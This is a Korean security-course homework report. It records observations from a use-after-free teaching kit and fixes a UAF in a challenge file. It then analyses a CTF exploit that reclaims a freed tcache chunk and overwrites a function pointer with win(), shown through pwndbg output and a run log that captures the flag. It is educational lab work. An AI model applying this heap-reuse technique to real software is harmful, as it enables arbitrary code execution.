



Linux System Hacking 심화 과제

📅 작성일	2026년 7월 17일
📁 과목명	리눅스 시스템 심화
🌟 과제	완료
≡ 이름	4기 39반 박성현

과제 1. uaf-lab-kit의 과제.md 진행

🔧 과제 — UAF 실습 키트 (직접 컴파일하고 눈으로 본다)

멘티 이름 **박성현**

이 과제는 **작은 C 예제 6개 + 챌린지 1개**를 직접 컴파일·실행하며 use-after-free 를 "눈으로" 익히는 것이다. 각 예제는 실행하면 힙 상태가 **색깔로 그려진다**.

강의의 njs sort UAF 와 1:1로 연결된다.

0. 준비 — 어떻게 돌리나 (컴파일러 없어도 됨)

이 키트는 **도커 이미지 하나**면 돌아간다(njs 랩에서 빌드한 `whs/njs-sort-uaf:vuln`, clang 내장). 로컬에 clang/gcc 가 있으면 그걸로도 된다.

```
# Windows
.\run.ps1
```

```
# macOS / Linux / WSL / Git Bash
bash run.sh
```

한 번 돌리면 예제마다 **두 얼굴**이 출력된다 (njs 랩의 asan-dm vs dbg 두 얼굴과 같은 원리):

- **얼굴 A (no-ASan)** — 프로그램이 그냥 진행됨. 값이 어떻게 새거나 바뀌는지 **눈으로**.
- **얼굴 B (ASan)** — AddressSanitizer 가 바로 그 UAF 줄에서 **잡아 세운다**(리포트).

개별로 돌리고 싶으면(로컬 컴파일러 있을 때):

```
make 01_hello_uaf.n (동작) · make 01_hello_uaf.a (ASan)
```

1. 관찰 기록 — 예제 6개 (각 예제 '두 얼굴' 다 보고 채우기)

각 예제를 돌리고 아래 표를 채워라. 색깔 라벨(live/FREED/PLANTED/DANGLING)을 근거로.

#	파일	얼굴 A에서 '무엇이' 이상해졌나 (한 줄)	얼굴 B(ASan)가 지목한 사고 종류
01	01_hello_uaf.c	0x1234를 사용하고 반납했는데 포인터와 같은 이상한 값이 읽혔다	free로 해제하였지만 *p를 읽어서 UAF 발생
02	02_realloc_move.c	메모리를 이동하였지만 같은 값이 읽힌다	배열이 이동하였는데 p는 새 배열을 가리키지만 cached는 이전 값을 가리키고 있어서 UAF 발생
03	03_reentrancy.c	콜백이 메모리 이동 후에도 옛 start로 계속 읽고 있다	
04	04_dos_vs_leak.c	케이스 A의 경우 DoS, 케이스 B의 경우 leak가 발생	(A가 핵심)
05	05_type_confusion.c	해제된 widget의 위치를 다시 할당받게되어, 함수 포인터를 evil_render로 바뀌어서 공격자의 함수가 수행되었다.	(A가 핵심)
06	06_fixed.c	(바뀐 값이 없어야 정상)	(조용하면 성공)

2. 예측 → 확인 (실행 전에 먼저 적어라)

Q2.1 (예제 02) `cached` 와 `p` 의 주소는 `realloc` 후 같을까 다를까? 왜?

이유: ***cached와 p의 주소는 다르게 된다. p가 이동하면 p는 새로운 위치를 반환하게 된다. 하지만 cached는 새로운 p의 위치를 반환하지 않고 이전의 p 위치를 반환한다. 그렇기 때문에 출력하는 답은 같을 수 있을지 몰라도 실제 데이터 위치는 다른 주소를 반환한다***

Q2.2 (예제 04) 케이스 A(재점유 없음)와 케이스 B(재점유)의 '읽힌 값'이 왜 다른가?

한 문장으로. 어느 쪽이 DoS 이고 어느 쪽이 leak 인가?

케이스 A에서는 재점유를 하지 않고 케이스 B에서는 재점유를 하기 때문에 free된 공간을 채우냐 안 채우냐의 차이 때문에 읽힌 값이 다른 것 같다. A케이스에서는 재점유를 하지 않고 있기 때문에 쓰레기/메타데이터가 되기 때문에 DoS가 되고, B 케이스에서는 재점유를 하고 있기 때문에 leak이다.

Q2.3 (예제 05) UAF 로 읽은 것이 '함수 포인터'였다. 그래서 read 가 왜 곧 '무엇을 실행할지(제어)'가 되는가?

read는 evil_render를 실행한다. w는 free가 되었지만 메모리는 같은 위치를 가르키기 때문에, slot이 해당 위치를 재점유 할 수 있고, slot이 재점유 되었기에 evil_render를 수행할 수 있게 된다.

Q2.4 (예제 06) `free(p); p = NULL;` 은 UAF 를 '안전한 실패'로 바꾼다. 무슨 뜻인가? 그리고 njs 수정이 택한 (B) '캐시 대신 매번 재조회' 는 왜 더 근본적인가?

메모리를 free로 해제 한 후, 해당 메모리의 값을 이용하여 leap할 원인 자체를 지우기 때문에 안전한 실패로 만든다. (B) 캐시대신 매번 재조회를 이용하게 되면 해당 위치에서의 실제 p의 메모리 위치를 확인하여 메모리 값을 저장하여 위변조자체를 방지하는 방식이기에 더 근본적인 것 같다._

Q2.5 (연결) 06 을 뺀 01~05 중, 강의의 njs sort 버그와 가장 똑같은 예제는? 왜?

예제 _3번 이유: 버퍼를 정의하고, start를 캐시한다. for문을 돌면서 콜백을 통해 함수를 호출하며 버퍼의 크기가 커지면서 메모리의 위치가 이동하게 된다. 그로 인해 buf는 정상 이동 되었지만 start 는 leaf가 된다. 이를 이용하여 악성 명령을 이용하면 수행된다.

3. 핵심 실습 — 버그를 직접 고쳐라 (challenge_fixme.c)

challenge_fixme.c 에는 UAF 가 하나 숨어 있다.

할 일: 프로그램의 의도(마지막에 첫 원소 값 출력)는 그대로 두고, UAF 만 없애라.

성공 기준: ASan 으로 돌렸을 때 heap-use-after-free 가 안 뜬다.

```
# 고치기 전: ASan 이 잡는지 먼저 확인
clang -fsanitize=address -g challenge_fixme.c -o /tmp/c && /tmp/c
# (도커 셸 안 뜨는 로컬)
# 고친 뒤: 조용하면 성공
```

Q3.1 어느 포인터가 realloc 을 건너서 재사용됐나? (변수명)

first 변수

Q3.2 어떻게 고쳤나? (붙여넣기 — 바꾼 줄만)

```
__printf("      first(옛 주소) 로 읽기 => %d\n", v.a[0]); /* <-- F
IX ME */
```

Q3.3 왜 그 수정이 UAF 를 없애는지 한 문장으로 서술.

_기존에는 first를 호출하게되어 v가 이동했음에도 first를 호출하기에 캐시를 호출하므로 UAF가 발생하지만 v의 직접적인 주소를 호출하기 때문에 UAF가 사라진다.

```
sungh@DESKTOP-KKJMDQU: /mnt/c/Users/sungh/Downloads/WHS4-리눅스_시스템_해킹_심화_정상수멘토_과제_20260711/uaf-lab-kit$ clang
g -fsanitize=address -g challenge_fixme.c -o /tmp/c
sungh@DESKTOP-KKJMDQU: /mnt/c/Users/sungh/Downloads/WHS4-리눅스_시스템_해킹_심화_정상수멘토_과제_20260711/uaf-lab-kit$ /tmp
/c

=====
challenge_fixme
숨은 UAF 를 찾아 고쳐라 (ASan 이 조용해지면 성공)
=====
first = &v.a[0] 0x7506151e0010 -> 10 [live]
100번 push 했다. 그 사이 realloc 이 여러 번 - 배열은 옮겨졌다.
first(옛 주소) 로 읽기 => 10
!! 이 줄이 UAF. 프로그램 의도를 유지하며 이 UAF 를 없애라.
sungh@DESKTOP-KKJMDQU: /mnt/c/Users/sungh/Downloads/WHS4-리눅스_시스템_해킹_심화_정상수멘토_과제_20260711/uaf-lab-kit$
```

과제 2. uaf-ctf의 exploit.py 분석 및 역분석

1. exploit.py 분석

먼저 제공된 `exploit.py` 를 확인하여 전체적인 익스플로잇 흐름을 분석하였다.

코드를 살펴보면 공격 과정은 다음과 같이 진행된다.

1. `create` 를 이용하여 `Obj` 구조체를 생성한다.
2. `free` 를 호출하여 객체를 해제하지만 포인터는 그대로 유지한다.
3. `stash` 기능을 이용하여 같은 크기의 Heap Chunk를 다시 할당받는다.
4. `win()` 함수의 주소를 입력하여 `greet` 함수 포인터를 덮어쓴다.
5. 마지막으로 `greet` 를 호출하면 `win()` 이 실행되면서 플래그가 출력된다.

코드만 보면 과정은 간단하지만 실제 Heap에서 어떤 일이 발생하는지 확인하기 위해 `player` 환경에서 pwndbg를 이용하여 각 단계를 확인하였다.

2. 객체 생성

프로그램을 실행한 후 `create` 메뉴를 선택하여 `Obj` 구조체를 생성하였다.

생성된 객체는 Heap 영역에 할당되며, GDB에서 확인한 결과 `obj` 는 `0x4052a0` 주소를 가리키고 있었다.

또한 구조체의 첫 번째 8Byte에는 `default_greet()` 함수 주소가 저장되어 있는 것을 확인하였다.

```
pwndbg> p obj
$2 = (struct Obj *) 0x4052a0

pwndbg> x/4gx obj
0x4052a0: 0x0000000000004012d6 ...
```

[캡처 1] 객체 생성 후 obj 확인

```
pwndbg> p obj
$1 = (struct Obj *) 0x4052a0
pwndbg> x/4gx obj
0x4052a0: 0x00000000000000405      0x9d73ede27539b087
0x4052b0: 0x0000000000000000      0x0000000000000000
pwndbg> |
```

3. 객체 해제 및 Heap 상태 확인

다음으로 `free` 메뉴를 선택하여 객체를 해제하였다.

프로그램에서는 `free(obj)` 만 수행하고 `obj = NULL` 을 하지 않기 때문에 객체는 해제되지만 `obj` 는 여전히 기존 Heap 주소를 가지고 있게 된다.

```
pwndbg> p obj
$3 = (struct Obj *) 0x4052a0
```

Heap 상태를 확인하면 방금 해제한 Chunk가 tcache에 저장된 것을 확인할 수 있었다.

```
pwndbg> heap

Free chunk (tcachebins)
Addr: 0x405290
Size: 0x30
```

이 시점에서 메모리는 해제되었지만 프로그램에서는 해당 주소를 계속 참조할 수 있는 상태가 된다.

[캡처 2] heap 명령 결과

```
pwndbg> p obj
$3 = (struct Obj *) 0x4052a0
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x290 (with flag bits: 0x291)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x405290
Size: 0x30 (with flag bits: 0x31)
fd: 0x405

Top chunk | PREV_INUSE
Addr: 0x4052c0
Size: 0x20d40 (with flag bits: 0x20d41)
pwndbg> |
```

4. 동일한 Heap Chunk 재사용

이후 `stash` 메뉴를 선택하고 길이를 `8` 로 입력하였다.

`stash` 에서는 내부적으로 `malloc(32)` 를 수행하는데, 앞에서 해제한 객체 역시 같은 크기의 Heap Chunk를 사용하고 있었기 때문에 방금 해제된 Chunk가 다시 반환된다.

`malloc()` 이 끝난 뒤 반환값을 확인하면 다음과 같다.

```
Value returned is (void *) 0x4052a0
```

반환된 주소가 앞에서 `obj` 가 사용하던 주소와 동일한 것을 확인할 수 있었다.

한 줄 실행한 후 확인하면 `raw` 와 `obj` 가 모두 같은 주소를 가리키고 있었다.

```

pwndbg> p raw
$4 = 0x4052a0

pwndbg> p obj
$5 = (struct Obj *) 0x4052a0

```

즉, 새롭게 할당받은 `raw` 버퍼가 이전에 해제했던 객체의 Heap 영역을 그대로 재사용하게 된다. 결국 `raw` 와 `obj` 가 같은 메모리 공간을 가리키게 되므로 `raw` 에 데이터를 쓰면 `obj` 의 내용도 함께 변경된다.

[캡처 3] malloc 반환 주소 확인

```

pwndbg> finish
Run till exit from #0 __GI___libc_malloc (bytes=0x20) at ./malloc/malloc.c:3294
0x00000000004016b1 in main () at chall.c:93
warning: 93  chall.c: No such file or directory
Value returned is $4 = (void *) 0x4052a0

```

[캡처 4] raw와 obj 주소 확인

```

pwndbg> p raw
$8 = 0x4052a0 "\005\004"
pwndbg> p obj
$9 = (struct Obj *) 0x4052a0
pwndbg> |

```

5. 함수 포인터 덮어쓰기

`Obj` 구조체의 첫 번째 멤버는 `greet` 함수 포인터이다.

```

struct Obj {
    void (*greet)(struct Obj *);
    char msg[24];
};

```

따라서 `stash` 에서 입력하는 처음 8Byte가 그대로 함수 포인터 위치에 기록된다.

익스플로잇에서는 먼저 `win()` 함수의 주소를 확인한 뒤 해당 값을 입력한다.

```

pwndbg> p win
$6 = {void (struct Obj *)} 0x401308 <win>

```

이후 `greet` 메뉴를 선택하면 기존에는 `default_greet()` 가 호출되어야 하지만, 함수 포인터가 이미 `win()` 주소로 덮어써졌기 때문에 `win()` 이 실행되고 `/flag` 의 내용을 출력하게 된다.

[캡처 5] win 함수 주소 확인

```

pwndbg> p win
$6 = {void (struct Obj *)} 0x401308 <win>

```

[캡처 6] 플래그 출력 결과

```

sungh@DESKTOP-HKJMDQU:/mnt/c/Users/sungh/Downloads/WHS4-리눅스_시스템_해킹_심화_정상수멘토_과제_20260711/uaf-ctf/owner$ sudo ./run_local.sh

```

```

WHS_4th
uaf-note · local WSL exploit runner · WHS 4기 (WhiteHat School)
[env] date   : Thu Jul 16 19:13:26 KST 2026
[env] ubuntu : Ubuntu 26.04 LTS
[env] gcc     : gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0
[env] python  : Python 3.14.4

[root cause] chall.c: free(obj) 후 obj = NULL 을 하지 않는다 (dangling pointer).
              free 된 32B 청크를 stash(malloc(32)) 로 재점유하고, 오프셋0 의
              함수 포인터 greet 를 win() 주소로 덮은 뒤 greet 를 호출 = UAF -> 임의 실행.

[*] 1/3 chall 빌드 (-no-pie -fno-stack-protector -O0 -g)
    -> /tmp/uaf-note-chall
[*] 2/3 /flag 준비 (win() 이 /flag 를 읽는다)
    -> /flag (직접 기록)
[*] 3/3 익스 실행 (exploit.py --local, 바이너리 직접 spawn)

[*] target = local:/tmp/uaf-note-chall win = 0x401308
WIN! flag = flag{WHS4_uaf_note_dangling_greet_to_win}

1) create - Obj 하나 만들기
2) free   - Obj 반납 (포인터는 그대로!)
3) greet  - obj->greet(obj) 호출
4) stash   - 같은 크기 버퍼에 원하는 바이트 쓰기
5) exit
>
[+] FLAG CAPTURED: flag{WHS4_uaf_note_dangling_greet_to_win}

[OK] LOCAL 익스 성공 - exploit.py 가 플래그를 획득함
sungh@DESKTOP-HKJMDQU:/mnt/c/Users/sungh/Downloads/WHS4-리눅스_시스템_해킹_심화_정상수멘토_과제_20260711/uaf-ctf/owner$

```

6. 느낀점

이번 과제를 진행하면서 free()를 호출했다고 해서 해당 메모리가 바로 사용할 수 없는 상태가 되는 것은 아니라는 점을 직접 확인할 수 있었다. 특히 tcache에 저장된 Chunk가 다시 malloc으로 재사용되는 과정을 GDB와 pwndbg로 확인해 보니 강의에서 설명했던 UAF의 동작 원리가 훨씬 이해가 잘 되었다. 이전에는 코드만 보고 이해하려고 했지만 직접 Heap 상태와 함수 포인터가 바뀌는 과정을 확인해 보니 왜 UAF가 위험한 취약점인지 알 수 있었다.